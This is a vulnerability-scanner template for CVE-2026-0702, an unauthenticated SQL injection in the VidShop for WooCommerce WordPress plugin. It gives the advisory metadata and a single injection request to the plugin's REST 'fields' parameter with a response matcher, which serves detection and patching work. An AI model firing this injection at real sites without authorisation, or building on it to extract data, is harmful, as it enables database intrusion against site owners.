VidShop for WooCommerce <= 1.1.4 - SQL Injection

id: CVE-2026-0702

info:
  name: VidShop for WooCommerce <= 1.1.4 - SQL Injection
  author: str4k3r
  severity: high
  description: |
    VidShop – Shoppable Videos for WooCommerce plugin for WordPress <= 1.1.4 contains a time-based SQL injection caused by insufficient escaping of the 'fields' parameter, letting unauthenticated attackers extract sensitive database information.
  impact: |
    Unauthenticated attackers can extract sensitive information from the database, potentially compromising data confidentiality.
  remediation: |
    Update to the latest version of VidShop – Shoppable Videos for WooCommerce plugin for WordPress.
  reference:
    - https://plugins.trac.wordpress.org/browser/vidshop-for-woocommerce/trunk/includes/rest-api/v1/class-videos-controller.php#L297
    - https://plugins.trac.wordpress.org/browser/vidshop-for-woocommerce/trunk/includes/utils/class-query-builder.php#L778
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/a61d8d2a-742f-45f1-9146-f733b80ef195?source=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-0702
    epss-score: 0.01541
    epss-percentile: 0.74005
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2026,wordpress,woocommerce,vidshop,sqli,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/vsfw/v1/videos?fields=%28SELECT%20424242*2%29%20as%20id"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - '"id":848484'
# digest: 4a0a00473045022100a69c3ee2ab5867f113567ec77d72e46ae7ded3230d69df0d9286862e28d7278102207352612b5cf2d5109a160b062dc25302069685842934ec638acd62d8695e1843:922c64590222798bb761d5b6d8e72950